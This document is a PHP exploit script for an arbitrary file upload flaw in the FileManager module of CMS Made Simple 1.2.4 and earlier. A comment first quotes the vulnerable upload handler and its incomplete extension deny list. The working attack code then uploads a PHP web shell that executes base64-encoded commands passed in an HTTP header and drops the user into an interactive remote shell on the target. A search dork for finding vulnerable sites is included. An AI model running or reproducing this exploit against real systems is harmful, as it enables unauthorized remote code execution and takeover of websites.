Exploit Code :  

<?php

/*
-----------------------------------------------------------------------
----
CMS Made Simple <= 1.2.4 (FileManager module) Arbitrary File Upload
Exploit
-----------------------------------------------------------------------
----

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.cmsmadesimple.org/
dork.....: "This site is powered by CMS Made Simple"

[-] vulnerable code in /modules/FileManager/postlet/javaUpload.php

21. // Configuration
---------------------------------------------------------------
22. // Change the below path to the folder where you would like files
uploading.
23. // e.g. "/home/yourname/myuploads/"
24. // or "c:\php\uploads\"
25. // Note, this MUST have the trailing slash.
26. $uploaddir = '[PATH TO UPLOAD DIRECTORY]';
27. // Whether or not to allow the upload of specific files
28. $allow_or_deny = true;
29. // If the above is true, then this states whether the array of
files is a list of
30. // extensions to ALLOW, or DENY
31. $allow_or_deny_method = "deny"; // "allow" or "deny"
32. $file_extension_list = array("php","asp","pl");
33. //
------------------------------------------------------------------------
-----
34. if ($allow_or_deny){
35. if (($allow_or_deny_method == "allow" &&
!in_array(strtolower(array_pop(explode('.',
$_FILES['userfile']['name']))), $file_extension_list))
36. || ($allow_or_deny_method == "deny" &&
in_array(strtolower(array_pop(explode('.',
$_FILES['userfile']['name']))), $file_extension_list))){
37. // Atempt to upload a file with a specific extension when NOT
allowed.
38. // 403 error
39. header("HTTP/1.1 403 Forbidden");
40. echo "POSTLET REPLY\r\n";
41. echo "POSTLET:NO\r\n";
42. echo "POSTLET:FILE TYPE NOT ALLOWED\r\n";
43. echo "POSTLET:ABORT THIS\r\n"; // Postlet should NOT send this
file again.
44. echo "END POSTLET REPLY\r\n";
45. exit;
46. }
47. }
48. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir
.$_FILES['userfile']['name']))
49. {
50. // All replies MUST start with "POSTLET REPLY", if they don't,
then Postlet will
51. // not read the reply and will assume the file uploaded
successfully.
52. echo "POSTLET REPLY\r\n";
53. // "YES" tells Postlet that this file was successfully uploaded.
54. echo "POSTLET:YES\r\n";
55. // End the Postlet reply
56. echo "END POSTLET REPLY\r\n";
57. exit;

with a default configuration of this script, an attacker might be able
to upload arbitrary files containing malicious
PHP code due to $file_extension_list array don't contains many
dangerous extensions (.jsp, .php3, .cgi, .dhtml, etc...)

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function upload()
{
global $host, $path, $uploaddir, $file_ext;

foreach ($file_ext as $ext)
{
print "\n[-] Trying to upload with .{$ext} extension...";

$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"userfile\";
filename=\".php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php
\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${pr
int(_code_)} ?>\n";
$data .= "--12345--\r\n";

$packet = "POST {$path}modules/FileManager/postlet/javaUpload.php
HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
$html = http_send($host, $packet);

if (!eregi("POSTLET:YES", $html)) die("\n[-] Upload failed!\n");

$packet = "GET
{$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext}
HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);

if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;

sleep(1);
}

return false;
}

print
"\n+----------------------------------------------------------------+";
print "\n| CMS Made Simple <= 1.2.4 Arbitrary File Upload Exploit by
EgiX |";
print
"\n+----------------------------------------------------------------+\n"
;

if ($argc < 2)
{
print "\nUsage......: php $argv[0] host path";
print "\nExample....: php $argv[0] localhost /cms/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$uploaddir = rawurlencode("[PATH TO UPLOAD DIRECTORY]");
$file_ext = array("dhtml", "phtml", "php3", "php5", "jsp", "jar",
"cgi");

if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
print "\ncmsmadesimple-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET
{$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext}
HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
//echo $html;
if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n{$shell[1]}";
}
else break;
}

?>